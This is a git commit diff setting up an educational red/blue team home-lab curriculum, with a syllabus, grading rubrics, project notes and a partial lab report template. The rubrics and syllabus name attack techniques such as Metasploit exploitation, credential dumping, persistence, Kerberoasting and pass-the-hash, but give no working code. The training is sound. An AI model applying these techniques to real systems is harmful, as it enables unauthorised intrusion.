initial commit
This commit is contained in:
195
.claude/SYLLABUS_Cybersecurity_Applied_Lab.md
Normal file
195
.claude/SYLLABUS_Cybersecurity_Applied_Lab.md
Normal file
@@ -0,0 +1,195 @@
|
||||
# FILE: SYLLABUS_Cybersecurity_Applied_Lab.md
|
||||
# SYLLABUS: CYBERSECURITY APPLIED LAB
|
||||
**Apophis Networking - Security Operations Center Training Program**
|
||||
|
||||
---
|
||||
|
||||
## Course Overview
|
||||
|
||||
This self-study curriculum transitions theoretical cybersecurity concepts into applied, hands-on experience. By building a functional, segmented enterprise-grade network range within a virtualized environment, you will develop the foundational skills necessary to launch a cybersecurity venture, such as Apophis Networking, or operate within a modern Security Operations Center (SOC).
|
||||
|
||||
**Program Objectives:**
|
||||
- Master both offensive (Red Team) and defensive (Blue Team) security techniques
|
||||
- Build and operate a production-grade SOC infrastructure
|
||||
- Develop incident response and digital forensics capabilities
|
||||
- Understand real-world attack chains and detection engineering
|
||||
- Create professional security documentation and reporting
|
||||
|
||||
**Target Audience:**
|
||||
- Self-learners pursuing cybersecurity careers
|
||||
- IT professionals transitioning to security roles
|
||||
- Students preparing for industry certifications (Security+, CySA+, OSCP)
|
||||
- Aspiring penetration testers and SOC analysts
|
||||
|
||||
---
|
||||
|
||||
## Core Architecture
|
||||
|
||||
The laboratory is built entirely within a Proxmox hypervisor. Network segmentation is achieved via 802.1Q VLAN tagging and routed through a virtualized firewall appliance (pfSense/OPNsense) to ensure malicious traffic remains isolated from your physical home network.
|
||||
|
||||
### Network Segmentation Strategy
|
||||
* **VLAN 100 (Management):** 10.10.1.0/24 - Proxmox Web GUI, Firewall Management.
|
||||
* **VLAN 200 (Red Network):** 10.10.2.0/24 - Attacker subnet (Kali Linux).
|
||||
* **VLAN 300 (Blue Network):** 10.10.3.0/24 - Defenders/SOC (Security Onion).
|
||||
* **VLAN 400 (Victim Network):** 10.10.4.0/24 - Vulnerable targets (Windows/Linux).
|
||||
|
||||
### Virtual Machine Inventory
|
||||
1. **pfSense** (Firewall/Router)
|
||||
2. **Kali Linux** (Red Team Operations)
|
||||
3. **Security Onion** (Network Security Monitoring)
|
||||
4. **Metasploitable 2** (Linux Target)
|
||||
5. **Windows Server 2022** (Domain Controller)
|
||||
6. **Windows 10** (Domain Endpoint)
|
||||
|
||||
---
|
||||
|
||||
## Curriculum Structure
|
||||
|
||||
| Module | Title | Duration | Key Skills |
|
||||
|--------|-------|----------|------------|
|
||||
| **MOD0** | Prerequisites & Fundamentals | 8-12 hours | Linux CLI, Windows PowerShell, Networking, Virtualization |
|
||||
| **MOD1** | Secure Infrastructure Provisioning | 4-8 hours | VLAN tagging, pfSense, Firewall rules, Network segmentation |
|
||||
| **MOD2** | Reconnaissance & Network Traffic Analysis | 8-14 hours | Nmap, Wireshark, Service enumeration, PCAP analysis |
|
||||
| **MOD3** | Exploitation & Post-Exploitation | 10-17 hours | Metasploit, Reverse shells, Privilege escalation, Persistence |
|
||||
| **MOD4** | Defensive Monitoring & the SOC | 6-10 hours | Security Onion, IDS/IPS, Suricata rules, Alert triage |
|
||||
| **MOD4.5** | SIEM Operations & Log Analysis | 6-10 hours | KQL queries, Kibana dashboards, Alert tuning, Correlation |
|
||||
| **MOD5** | Active Directory Threat Emulation | 8-12 hours | AD deployment, Kerberoasting, Pass-the-Hash, Domain attacks |
|
||||
| **MOD6** | Incident Response & Digital Forensics | 10-15 hours | Disk forensics, Memory analysis, PCAP forensics, IR reporting |
|
||||
| **MOD7** | Web Application Security | 8-12 hours | OWASP Top 10, SQL injection, XSS, Burp Suite, WAF |
|
||||
| **MOD8** | Threat Intelligence & Hunting | 6-10 hours | MITRE ATT&CK, IOCs, Sigma rules, Hypothesis-driven hunting |
|
||||
| **CAPSTONE** | APT Simulation Project | 16-24 hours | Integrated Red/Blue exercise, Full IR lifecycle, Reporting |
|
||||
|
||||
**Total Program Duration:** 90-144 hours (12-18 weeks at 8 hours/week)
|
||||
|
||||
---
|
||||
|
||||
## Course Expectations
|
||||
|
||||
### Self-Directed Learning
|
||||
This is a **self-paced, self-driven** laboratory curriculum. You are expected to:
|
||||
- Break the environment intentionally (that's how you learn)
|
||||
- Troubleshoot routing issues, firewall rules, and VM problems independently
|
||||
- Analyze packet captures and log files for clues
|
||||
- Rebuild systems from snapshots when something breaks
|
||||
- Research error messages using Google, Stack Overflow, Reddit
|
||||
|
||||
**The documentation serves as a guide, not a step-by-step walkthrough.** Successful completion requires independent research, critical thinking, and logical problem-solving.
|
||||
|
||||
### Time Commitment
|
||||
- **Minimum:** 8-10 hours per week for 12-14 weeks
|
||||
- **Recommended:** 12-15 hours per week for faster progress
|
||||
- **Intensive:** 20+ hours per week to complete in 6-8 weeks
|
||||
|
||||
### Documentation Requirements
|
||||
Every module requires:
|
||||
- **Lab Report:** Following LAB_REPORT_TEMPLATE.md format
|
||||
- **Screenshots:** Minimum 5 per module (more for complex modules)
|
||||
- **Command History:** Export of all commands executed
|
||||
- **PCAP Files:** Network traffic captures of key activities
|
||||
- **Deliverables:** Specific outputs listed in each module
|
||||
|
||||
### Assessment
|
||||
- **Module Completion:** Each module graded on 100-point rubric (see ASSESSMENT_RUBRICS.md)
|
||||
- **Capstone Project:** 200 points (comprehensive assessment)
|
||||
- **Overall Grade:** Total 1200 points across all modules
|
||||
- **Passing Grade:** 70% (840/1200 points)
|
||||
- **Excellence:** 90%+ (1080/1200 points) - ready for OSCP-level challenges
|
||||
|
||||
---
|
||||
|
||||
## Professional Development
|
||||
|
||||
### Certification Pathways
|
||||
|
||||
**After completing this curriculum, you will be prepared for:**
|
||||
|
||||
**Entry-Level Certifications:**
|
||||
- CompTIA Security+ (if not already obtained)
|
||||
- CompTIA CySA+ (Cybersecurity Analyst)
|
||||
- CompTIA PenTest+ (Penetration Testing)
|
||||
|
||||
**Advanced Certifications (with additional study):**
|
||||
- **Offensive Security Certified Professional (OSCP)** ← Highly recommended next step
|
||||
- GIAC Certified Incident Handler (GCIH)
|
||||
- Certified Ethical Hacker (CEH)
|
||||
|
||||
### Career Roles
|
||||
1. **SOC Analyst (Tier 1/2)**
|
||||
2. **Penetration Tester**
|
||||
3. **Incident Responder**
|
||||
4. **Detection Engineer**
|
||||
5. **Threat Hunter**
|
||||
6. **Security Consultant**
|
||||
|
||||
---
|
||||
|
||||
## Module Files
|
||||
|
||||
All module documentation is located in the `.claude/` directory:
|
||||
|
||||
- **MOD0_Prerequisites.md** - Linux, Windows, Networking, Virtualization fundamentals
|
||||
- **MOD1_Secure_Infrastructure.md** - Proxmox, pfSense, VLAN configuration
|
||||
- **MOD2_Recon_and_NTA.md** - Nmap, Wireshark, Service enumeration
|
||||
- **MOD3_Exploitation.md** - Metasploit, Post-exploitation, Persistence
|
||||
- **MOD4_Defensive_Monitoring.md** - Security Onion, IDS/IPS, Custom rules
|
||||
- **MOD4.5_SIEM_Operations.md** - KQL, Kibana dashboards, Log correlation
|
||||
- **MOD5_Active_Directory_Emulation.md** - AD attacks, Kerberoasting, Lateral movement
|
||||
- **MOD6_Incident_Response.md** - Forensics, Timeline analysis, IR reporting
|
||||
- **MOD7_Web_Application_Security.md** - OWASP Top 10, Burp Suite, WAF
|
||||
- **MOD8_Threat_Intelligence.md** - MITRE ATT&CK, IOCs, Threat hunting
|
||||
- **CAPSTONE_APT_Simulation.md** - Integrated Red/Blue team exercise
|
||||
|
||||
### Supporting Documentation
|
||||
- **LAB_REPORT_TEMPLATE.md** - Standard format for all lab reports
|
||||
- **ASSESSMENT_RUBRICS.md** - Grading criteria for all modules
|
||||
- **SYLLABUS_Cybersecurity_Applied_Lab.md** - This file
|
||||
|
||||
---
|
||||
|
||||
## Resources & Support
|
||||
|
||||
### Required Software (All Free/Open Source)
|
||||
- Proxmox VE (hypervisor)
|
||||
- pfSense (firewall)
|
||||
- Kali Linux (penetration testing)
|
||||
- Security Onion (SIEM/IDS)
|
||||
- Metasploitable 2 (vulnerable target)
|
||||
- Windows Server 2022 (evaluation license)
|
||||
- Windows 10 (evaluation license)
|
||||
|
||||
### Recommended Study Materials
|
||||
- **Books:**
|
||||
- "The Linux Command Line" by William Shotts (FREE PDF)
|
||||
- "The Web Application Hacker's Handbook" by Stuttard & Pinto
|
||||
- "Practical Malware Analysis" by Sikorski & Honig
|
||||
|
||||
- **Videos:**
|
||||
- Professor Messer (Network+, Security+)
|
||||
- IppSec (HackTheBox walkthroughs)
|
||||
- HackerSploit (YouTube channel)
|
||||
|
||||
- **Practice Platforms:**
|
||||
- TryHackMe (guided learning paths)
|
||||
- HackTheBox (realistic VMs)
|
||||
- PentesterLab (web app security)
|
||||
|
||||
---
|
||||
|
||||
## Academic Integrity
|
||||
|
||||
### Authorized Use Policy
|
||||
All tools and techniques taught in this curriculum are for **AUTHORIZED USE ONLY**:
|
||||
- ✅ **Allowed:** Using these techniques on VMs in YOUR lab that YOU own
|
||||
- ✅ **Allowed:** Authorized penetration tests with written permission
|
||||
- ✅ **Allowed:** CTF competitions and training platforms
|
||||
- ❌ **ILLEGAL:** Using these techniques on unauthorized systems (18 U.S.C. § 1030)
|
||||
|
||||
---
|
||||
|
||||
**GOOD LUCK, AND WELCOME TO APOPHIS NETWORKING!**
|
||||
|
||||
*"Order from Chaos" - Building security professionals one lab at a time.*
|
||||
|
||||
---
|
||||
|
||||
**END OF SYLLABUS**
|
||||
16
.claude/settings.local.json
Normal file
16
.claude/settings.local.json
Normal file
@@ -0,0 +1,16 @@
|
||||
{
|
||||
"permissions": {
|
||||
"allow": [
|
||||
"Bash(npm create:*)",
|
||||
"Bash(npm install)",
|
||||
"Bash(npx vite --version)",
|
||||
"Bash(npm install:*)",
|
||||
"Bash(copy:*)",
|
||||
"Bash(npm run build:*)",
|
||||
"Bash(npm run dev:*)"
|
||||
],
|
||||
"additionalDirectories": [
|
||||
"c:\\Users\\fam1n\\projects\\seclab"
|
||||
]
|
||||
}
|
||||
}
|
||||
BIN
.gitignore
vendored
Normal file
BIN
.gitignore
vendored
Normal file
Binary file not shown.
320
ASSESSMENT_RUBRICS.md
Normal file
320
ASSESSMENT_RUBRICS.md
Normal file
@@ -0,0 +1,320 @@
|
||||
# ASSESSMENT RUBRICS
|
||||
# Apophis Networking Cybersecurity Applied Lab
|
||||
|
||||
---
|
||||
|
||||
## MODULE-LEVEL ASSESSMENT RUBRIC
|
||||
|
||||
Each module (MOD0-MOD8) is assessed on the following criteria:
|
||||
|
||||
| Criterion | Excellent (90-100%) | Proficient (80-89%) | Developing (70-79%) | Needs Improvement (<70%) |
|
||||
|-----------|---------------------|---------------------|---------------------|--------------------------|
|
||||
| **Technical Execution** | All labs completed flawlessly; goes beyond requirements with additional exploration | All required labs completed correctly; minor errors quickly corrected | Most labs completed; some troubleshooting issues requiring instructor help | Labs incomplete or significant errors unresolved |
|
||||
| **Documentation** | Comprehensive notes with commands, screenshots, and analysis; publication-ready | Complete documentation with all required elements; minor formatting issues | Basic documentation present; missing some screenshots or command history | Incomplete or disorganized documentation |
|
||||
| **Conceptual Understanding** | Demonstrates deep understanding; can explain "why" behind every action | Solid grasp of concepts; can articulate attack/defense tradeoffs | Surface-level understanding; follows instructions without full comprehension | Limited understanding; cannot explain what they did or why |
|
||||
| **Troubleshooting** | Independently resolves all issues using logs, research, and critical thinking | Resolves most issues with minimal guidance; uses systematic approach | Struggles with troubleshooting; requires step-by-step instructor support | Cannot troubleshoot; gives up easily when errors occur |
|
||||
| **Time Management** | Completes module in recommended timeframe or faster | Completes within 1.5x recommended time | Requires 2x+ recommended time | Does not complete within reasonable timeframe |
|
||||
|
||||
---
|
||||
|
||||
## MODULE 0: PREREQUISITES - ASSESSMENT
|
||||
|
||||
**Passing Criteria:** Must demonstrate proficiency in ALL prerequisite skills before proceeding.
|
||||
|
||||
### Linux CLI Fundamentals (25 points)
|
||||
- [ ] Navigate filesystem (cd, ls, pwd) - 5 pts
|
||||
- [ ] File permissions (chmod, chown, understanding rwx) - 5 pts
|
||||
- [ ] Log analysis (grep, tail, awk on /var/log) - 5 pts
|
||||
- [ ] User management (useradd, passwd, su) - 5 pts
|
||||
- [ ] Process management (ps, top, kill) - 5 pts
|
||||
|
||||
### Windows Fundamentals (25 points)
|
||||
- [ ] PowerShell cmdlets (Get-EventLog, Get-Service, Get-Process) - 10 pts
|
||||
- [ ] Event Viewer navigation and filtering - 10 pts
|
||||
- [ ] Identify critical Event IDs (4624, 4625, 4672) - 5 pts
|
||||
|
||||
### Networking Fundamentals (25 points)
|
||||
- [ ] Subnetting calculations (hand calculation + verification) - 10 pts
|
||||
- [ ] Ping/traceroute interpretation - 5 pts
|
||||
- [ ] Understand TCP/IP stack and OSI model - 10 pts
|
||||
|
||||
### Virtualization (25 points)
|
||||
- [ ] Create and restore VM snapshots - 10 pts
|
||||
- [ ] Configure VM network modes (NAT, Bridged, Host-Only) - 10 pts
|
||||
- [ ] Explain Type 1 vs Type 2 hypervisors - 5 pts
|
||||
|
||||
**TOTAL: 100 points**
|
||||
**Pass Threshold: 80/100** (Students below 80 must remediate before MOD1)
|
||||
|
||||
---
|
||||
|
||||
## MODULE 1-5: CORE SKILLS - DETAILED RUBRICS
|
||||
|
||||
### MOD1: Secure Infrastructure Provisioning (100 points)
|
||||
|
||||
| Task | Points | Criteria |
|
||||
|------|--------|----------|
|
||||
| Proxmox VLAN Configuration | 20 | Bridge is VLAN-aware; verified in /etc/network/interfaces |
|
||||
| pfSense Deployment | 20 | VM created with correct specs; pfSense installed and accessible |
|
||||
| VLAN Interface Creation | 20 | VLANs 200, 300, 400 created and assigned to interfaces |
|
||||
| Firewall Rules | 25 | Red→Victim allowed; Victim→Red blocked; Victim→WAN blocked |
|
||||
| Validation Testing | 15 | All 5 tests pass (connectivity, isolation, internet access) |
|
||||
|
||||
### MOD2: Reconnaissance & NTA (100 points)
|
||||
|
||||
| Task | Points | Criteria |
|
||||
|------|--------|----------|
|
||||
| Nmap Scanning | 20 | Multiple scan types demonstrated (-sS, -sV, -A, -p-) |
|
||||
| Service Enumeration | 20 | FTP, SMB, HTTP enumerated with appropriate tools |
|
||||
| Wireshark Analysis | 25 | PCAP captured; SYN scan identified; TCP streams analyzed |
|
||||
| Scan Type Identification | 15 | Can distinguish SYN vs Connect vs UDP scans in PCAP |
|
||||
| Documentation | 20 | Comprehensive recon report with network diagram |
|
||||
|
||||
### MOD3: Exploitation & Post-Exploitation (100 points)
|
||||
|
||||
| Task | Points | Criteria |
|
||||
|------|--------|----------|
|
||||
| Metasploit Exploitation | 25 | vsftpd and/or Samba successfully exploited |
|
||||
| Meterpreter Usage | 20 | Post-exploitation commands executed (sysinfo, hashdump, etc.) |
|
||||
| Manual Exploitation | 15 | vsftpd exploited without Metasploit (netcat method) |
|
||||
| Privilege Escalation | 20 | Demonstrates at least 2 privesc techniques |
|
||||
| Persistence | 10 | Establishes persistence via SSH keys or cron |
|
||||
| Documentation | 10 | Attack chain documented with screenshots |
|
||||
|
||||
### MOD4: Defensive Monitoring (100 points)
|
||||
|
||||
| Task | Points | Criteria |
|
||||
|------|--------|----------|
|
||||
| Security Onion Deployment | 20 | SO installed and sensors operational |
|
||||
| Alert Detection | 25 | Can identify nmap scans and exploitation in alerts |
|
||||
| Custom Rule Writing | 30 | Creates working Suricata/Zeek rule for specific attack |
|
||||
| Log Analysis | 15 | Correlates Suricata alerts with Zeek conn logs |
|
||||
| Documentation | 10 | Detection engineering notes with rule explanations |
|
||||
|
||||
### MOD4.5: SIEM Operations (100 points)
|
||||
|
||||
| Task | Points | Criteria |
|
||||
|------|--------|----------|
|
||||
| KQL Query Mastery | 25 | Writes 10+ functional queries for threat hunting |
|
||||
| Dashboard Creation | 25 | Builds custom Kibana dashboard with 5+ visualizations |
|
||||
| Alert Tuning | 20 | Reduces false positives via threshold.config |
|
||||
| Log Correlation | 20 | Links recon → exploit → post-exploit in timeline |
|
||||
| Dashboard Integration | 10 | Exports data for React SOC dashboard |
|
||||
|
||||
### MOD5: Active Directory (100 points)
|
||||
|
||||
| Task | Points | Criteria |
|
||||
|------|--------|----------|
|
||||
| AD Deployment | 20 | Domain Controller promoted; domain created |
|
||||
| Domain Join | 10 | Windows 10 successfully joined to domain |
|
||||
| Kerberoasting Attack | 30 | Captures service tickets; cracks with hashcat |
|
||||
| Pass-the-Hash | 20 | Uses impacket for lateral movement |
|
||||
| Defense Documentation | 20 | Explains how to detect each attack in logs |
|
||||
|
||||
---
|
||||
|
||||
## MODULE 6-8: ADVANCED TOPICS - RUBRICS
|
||||
|
||||
### MOD6: Incident Response (100 points)
|
||||
|
||||
| Task | Points | Criteria |
|
||||
|------|--------|----------|
|
||||
| Disk Forensics | 25 | Acquires image; calculates hashes; analyzes with Autopsy |
|
||||
| Memory Forensics | 25 | Captures dump; analyzes with Volatility; finds malicious process |
|
||||
| Network Forensics | 20 | Reconstructs attack from PCAP; extracts transferred files |
|
||||
| IR Report Writing | 20 | Follows NIST PICERL; includes timeline and IOCs |
|
||||
| Remediation Plan | 10 | Provides actionable, prioritized recommendations |
|
||||
|
||||
### MOD7: Web Application Security (100 points)
|
||||
|
||||
| Task | Points | Criteria |
|
||||
|------|--------|----------|
|
||||
| SQL Injection | 20 | Manual and SQLMap exploitation; data extracted |
|
||||
| XSS Attack | 20 | Demonstrates reflected and stored XSS |
|
||||
| Burp Suite Usage | 20 | Intercepts traffic; uses Repeater and Intruder |
|
||||
| WAF Configuration | 20 | Deploys ModSecurity/Suricata rules to block attacks |
|
||||
| Detection in SO | 20 | Creates KQL queries and detection rules for web attacks |
|
||||
|
||||
### MOD8: Threat Intelligence (100 points)
|
||||
|
||||
| Task | Points | Criteria |
|
||||
|------|--------|----------|
|
||||
| MITRE Mapping | 25 | Maps all MOD3 attacks to correct tactics/techniques |
|
||||
| IOC Database | 20 | Creates structured IOC list (IP, hash, file, network) |
|
||||
| Threat Hunting | 25 | Executes 3 hypothesis-driven hunts with results |
|
||||
| Sigma Rules | 15 | Writes 2+ functional Sigma rules |
|
||||
| Dashboard Update | 15 | Integrates MITRE coverage heatmap into React dashboard |
|
||||
|
||||
---
|
||||
|
||||
## CAPSTONE PROJECT: COMPREHENSIVE RUBRIC (200 points)
|
||||
|
||||
**Weight:** Equivalent to 2 modules
|
||||
|
||||
| Category | Max Points | Excellent (90-100%) | Proficient (80-89%) | Developing (70-79%) | Needs Improvement (<70%) |
|
||||
|----------|------------|---------------------|---------------------|---------------------|--------------------------|
|
||||
| **Red Team Execution** | 50 | Novel TTPs; multi-stage campaign; perfect stealth | All required attack phases completed; good stealth | Basic attacks executed; some noisy techniques | Incomplete attack chain; easily detected |
|
||||
| **Blue Team Detection** | 50 | Detects all phases; accurate attribution; timeline perfect | Detects most attacks; good forensic analysis | Detects initial access only; incomplete timeline | Fails to detect multiple attack phases |
|
||||
| **Technical Documentation** | 40 | Publication-quality; comprehensive appendices | Complete with all required sections | Basic documentation; missing some elements | Incomplete or poorly organized |
|
||||
| **Remediation Plan** | 20 | Detailed; cost-benefit analysis; prioritized; realistic | Actionable recommendations; reasonable priorities | Generic recommendations; no prioritization | Vague or unrealistic suggestions |
|
||||
| **Dashboard Integration** | 20 | Fully functional; interactive; accurate data | Data integrated; basic visualizations | Partial integration; some errors | Dashboard not updated or broken |
|
||||
| **Presentation** | 20 | Engaging; clear narrative; professional slides | Organized; covers all points; adequate slides | Basic presentation; some unclear points | Disorganized or incomplete presentation |
|
||||
|
||||
**TOTAL: 200 points**
|
||||
|
||||
**Capstone Grading Scale:**
|
||||
- **180-200:** A (Exceptional - ready for professional SOC role)
|
||||
- **160-179:** B (Strong - demonstrates competency)
|
||||
- **140-159:** C (Acceptable - meets minimum standards)
|
||||
- **120-139:** D (Needs improvement - remediation required)
|
||||
- **<120:** F (Fails to demonstrate minimum competency)
|
||||
|
||||
---
|
||||
|
||||
## OVERALL COURSE GRADING SCHEME
|
||||
|
||||
### Point Distribution
|
||||
|
||||
| Component | Points | Percentage |
|
||||
|-----------|--------|------------|
|
||||
| MOD0 (Prerequisites) | 100 | 5% |
|
||||
| MOD1 (Infrastructure) | 100 | 8% |
|
||||
| MOD2 (Reconnaissance) | 100 | 8% |
|
||||
| MOD3 (Exploitation) | 100 | 8% |
|
||||
| MOD4 (Defensive Monitoring) | 100 | 8% |
|
||||
| MOD4.5 (SIEM Operations) | 100 | 8% |
|
||||
| MOD5 (Active Directory) | 100 | 8% |
|
||||
| MOD6 (Incident Response) | 100 | 9% |
|
||||
| MOD7 (Web App Security) | 100 | 9% |
|
||||
| MOD8 (Threat Intelligence) | 100 | 9% |
|
||||
| **CAPSTONE PROJECT** | 200 | 20% |
|
||||
| **TOTAL** | **1200** | **100%** |
|
||||
|
||||
### Final Letter Grades
|
||||
|
||||
| Grade | Point Range | Percentage | Description |
|
||||
|-------|-------------|------------|-------------|
|
||||
| A | 1080-1200 | 90-100% | Exceptional mastery; ready for professional cybersecurity role |
|
||||
| B | 960-1079 | 80-89% | Strong understanding; competent in most areas |
|
||||
| C | 840-959 | 70-79% | Adequate knowledge; meets minimum standards |
|
||||
| D | 720-839 | 60-69% | Below expectations; significant gaps in knowledge |
|
||||
| F | <720 | <60% | Does not meet minimum competency for certification |
|
||||
|
||||
---
|
||||
|
||||
## SELF-ASSESSMENT CHECKLIST
|
||||
|
||||
Use this to gauge your readiness before final assessment:
|
||||
|
||||
### Red Team Skills
|
||||
- [ ] Can perform network reconnaissance using nmap (multiple scan types)
|
||||
- [ ] Can identify and exploit common vulnerabilities (FTP, SMB, web apps)
|
||||
- [ ] Understands Metasploit Framework architecture (exploits, payloads, handlers)
|
||||
- [ ] Can perform privilege escalation on Linux and Windows
|
||||
- [ ] Can establish persistence mechanisms
|
||||
- [ ] Can perform Active Directory attacks (Kerberoasting, PTH)
|
||||
|
||||
### Blue Team Skills
|
||||
- [ ] Can deploy and configure Security Onion
|
||||
- [ ] Can write custom Suricata and Zeek rules
|
||||
- [ ] Can query logs using KQL (Kibana Query Language)
|
||||
- [ ] Can perform disk forensics with Autopsy
|
||||
- [ ] Can perform memory forensics with Volatility
|
||||
- [ ] Can analyze PCAPs for attack indicators
|
||||
|
||||
### Analytical Skills
|
||||
- [ ] Can map attacks to MITRE ATT&CK framework
|
||||
- [ ] Can create and use IOCs for threat detection
|
||||
- [ ] Can perform hypothesis-driven threat hunting
|
||||
- [ ] Can write comprehensive incident response reports
|
||||
- [ ] Can develop remediation plans with cost/benefit analysis
|
||||
|
||||
### Technical Writing
|
||||
- [ ] Can document procedures clearly and reproducibly
|
||||
- [ ] Can write executive summaries for non-technical stakeholders
|
||||
- [ ] Can create technical diagrams (network maps, attack flows)
|
||||
- [ ] Can follow professional report templates
|
||||
|
||||
### Soft Skills
|
||||
- [ ] Can troubleshoot independently using logs and research
|
||||
- [ ] Can manage time effectively across complex projects
|
||||
- [ ] Can present technical findings to mixed audiences
|
||||
- [ ] Can think critically about attack/defense tradeoffs
|
||||
|
||||
---
|
||||
|
||||
## REMEDIATION GUIDELINES
|
||||
|
||||
**If you score below 70% on any module:**
|
||||
|
||||
1. **Review Foundational Concepts:**
|
||||
- Re-read module documentation
|
||||
- Watch supplemental videos (Professor Messer, HackerSploit, IppSec)
|
||||
|
||||
2. **Hands-On Practice:**
|
||||
- Repeat failed labs with detailed note-taking
|
||||
- Try variations of the attack/defense technique
|
||||
- Use TryHackMe or HackTheBox for additional practice
|
||||
|
||||
3. **Seek Clarification:**
|
||||
- Document specific errors/confusion points
|
||||
- Research error messages (Google, Stack Overflow, Reddit r/AskNetsec)
|
||||
- Review relevant MITRE ATT&CK technique pages
|
||||
|
||||
4. **Re-Assessment:**
|
||||
- Rebuild VMs from clean snapshots
|
||||
- Attempt labs again without referring to previous notes
|
||||
- Submit new lab report for re-grading
|
||||
|
||||
5. **Progress Criteria:**
|
||||
- Must achieve 70% or higher on remediation attempt
|
||||
- If still below 70%, one-on-one tutoring recommended
|
||||
- Cannot proceed to Capstone without passing all modules
|
||||
|
||||
---
|
||||
|
||||
## CERTIFICATION RECOMMENDATION
|
||||
|
||||
Upon successful completion (C or higher), students are recommended for:
|
||||
|
||||
**Entry-Level Certifications:**
|
||||
- CompTIA Security+ (if not already obtained)
|
||||
- CompTIA CySA+ (Cybersecurity Analyst)
|
||||
- CompTIA PenTest+ (Penetration Testing)
|
||||
|
||||
**Intermediate Certifications:**
|
||||
- GIAC Security Essentials (GSEC)
|
||||
- GIAC Certified Intrusion Analyst (GCIA)
|
||||
- eLearnSecurity Junior Penetration Tester (eJPT)
|
||||
|
||||
**Advanced Certifications (with additional study):**
|
||||
- Offensive Security Certified Professional (OSCP)
|
||||
- GIAC Certified Incident Handler (GCIH)
|
||||
- Certified Ethical Hacker (CEH)
|
||||
|
||||
**Students scoring A in Capstone** are well-prepared for OSCP-level challenges.
|
||||
|
||||
---
|
||||
|
||||
## INSTRUCTOR NOTES
|
||||
|
||||
### Grading Consistency
|
||||
- Use this rubric for all students to ensure fairness
|
||||
- Document any exceptions or accommodations
|
||||
- Provide detailed feedback on point deductions
|
||||
|
||||
### Common Student Challenges
|
||||
- **MOD0:** Underestimate importance; skip ahead (enforce prerequisite check)
|
||||
- **MOD1:** VLAN tagging errors (most common troubleshooting issue)
|
||||
- **MOD3:** Wrong LHOST IP (check this first when exploits fail)
|
||||
- **MOD4:** Alert fatigue (teach tuning early)
|
||||
- **Capstone:** Time management (enforce interim deadlines)
|
||||
|
||||
### Encouraging Excellence
|
||||
- Highlight exceptional work as examples for future students
|
||||
- Offer bonus points for creative attack/defense techniques
|
||||
- Encourage publication of findings (blog posts, conference talks)
|
||||
|
||||
---
|
||||
|
||||
**END OF ASSESSMENT RUBRICS**
|
||||
1090
CAPSTONE_APT_Simulation.md
Normal file
1090
CAPSTONE_APT_Simulation.md
Normal file
File diff suppressed because it is too large
Load Diff
34
CLAUDE.md
Normal file
34
CLAUDE.md
Normal file
@@ -0,0 +1,34 @@
|
||||
# Apophis Security Lab
|
||||
|
||||
## Project
|
||||
Red/Blue team home lab with React SOC dashboard. Educational cybersecurity curriculum.
|
||||
|
||||
## Dashboard Stack
|
||||
- **Tech**: React 19, Vite 7, Tailwind CSS v4, Recharts, date-fns
|
||||
- **Dev**: `cd dashboard && npm run dev` → localhost:5173
|
||||
- **Paths**: `dashboard/src/components/*.jsx`, `dashboard/src/data/mockData.js`
|
||||
|
||||
## Brand (Apophis Networking)
|
||||
- **Files**: `brandguidelines.md`, `logo.png` (crimson serpent shield)
|
||||
- **Style**: Tech-Noir, dark backgrounds, sharp corners
|
||||
- **Rule**: ⚠️ **NEVER use `border-radius`** - 0px only (sharp edges)
|
||||
- **Colors**: See `brandguidelines.md` for hex values
|
||||
- **Tailwind**: `ap-red`, `ap-black`, `ap-dark`, `ap-panel`, `ap-silver`, `ap-blue`, `ap-green`, `ap-yellow`, `ap-orange`
|
||||
|
||||
## Components
|
||||
|
||||
| Component | Purpose |
|
||||
|-----------|---------|
|
||||
| `Header.jsx` | Logo, clock, threat level |
|
||||
| `ThreatFeed.jsx` | Live alert stream |
|
||||
| `NetworkTraffic.jsx` | Area chart (in/out/blocked) |
|
||||
| `SystemHealth.jsx` | System status cards |
|
||||
| `MitreHeatmap.jsx` | ATT&CK coverage grid |
|
||||
| `TopThreats.jsx` | Top attacker IPs table |
|
||||
| `IncidentTracker.jsx` | IR pipeline tracker |
|
||||
| `VulnSummary.jsx` | Vulnerability donut chart |
|
||||
|
||||
## Conventions
|
||||
- **Data**: All mock/simulated (no backend yet)
|
||||
- **CSS**: Use `.panel`, `.panel-header` classes
|
||||
- **Severity**: `critical`, `high`, `medium`, `low`, `info`
|
||||
310
LAB_REPORT_TEMPLATE.md
Normal file
310
LAB_REPORT_TEMPLATE.md
Normal file
@@ -0,0 +1,310 @@
|
||||
# LAB REPORT TEMPLATE
|
||||
# Apophis Networking Security Lab
|
||||
|
||||
**Student Name:** ___________________________
|
||||
**Module Number:** ___________________________
|
||||
**Lab Title:** ___________________________
|
||||
**Date Submitted:** ___________________________
|
||||
|
||||
---
|
||||
|
||||
## 1. EXECUTIVE SUMMARY (1 paragraph)
|
||||
|
||||
Provide a high-level overview of the lab objectives, key findings, and outcomes. This should be understandable by non-technical stakeholders.
|
||||
|
||||
**Example:**
|
||||
> This lab focused on exploiting the vsftpd 2.3.4 backdoor vulnerability (CVE-2011-2523) on a Metasploitable 2 target system. The exploitation was successful, resulting in root-level access to the target. Post-exploitation activities included credential harvesting and persistence establishment. This exercise demonstrated the critical importance of patch management and network segmentation in preventing unauthorized access.
|
||||
|
||||
---
|
||||
|
||||
## 2. OBJECTIVES
|
||||
|
||||
List the specific learning objectives for this lab.
|
||||
|
||||
**Example:**
|
||||
- Configure and execute Metasploit Framework exploits
|
||||
- Understand the mechanics of reverse shell payloads
|
||||
- Perform post-exploitation enumeration
|
||||
- Document exploitation chains for penetration testing reports
|
||||
|
||||
---
|
||||
|
||||
## 3. TOOLS & ENVIRONMENT
|
||||
|
||||
### 3.1 Attack Platform
|
||||
- **OS:** Kali Linux 2024.1
|
||||
- **IP Address:** 10.10.2.50
|
||||
- **Tools Used:**
|
||||
- Metasploit Framework v6.3.x
|
||||
- Nmap 7.94
|
||||
- Wireshark 4.0.x
|
||||
|
||||
### 3.2 Target System
|
||||
- **OS:** Metasploitable 2 (Ubuntu 8.04)
|
||||
- **IP Address:** 10.10.4.10
|
||||
- **Vulnerable Services:**
|
||||
- vsftpd 2.3.4 (Port 21)
|
||||
- OpenSSH 4.7p1 (Port 22)
|
||||
- Apache 2.2.8 (Port 80)
|
||||
|
||||
### 3.3 Network Topology
|
||||
```
|
||||
[Kali Linux] [pfSense Firewall] [Metasploitable 2]
|
||||
10.10.2.50 <---> 10.10.2.1 | 10.10.4.1 <---> 10.10.4.10
|
||||
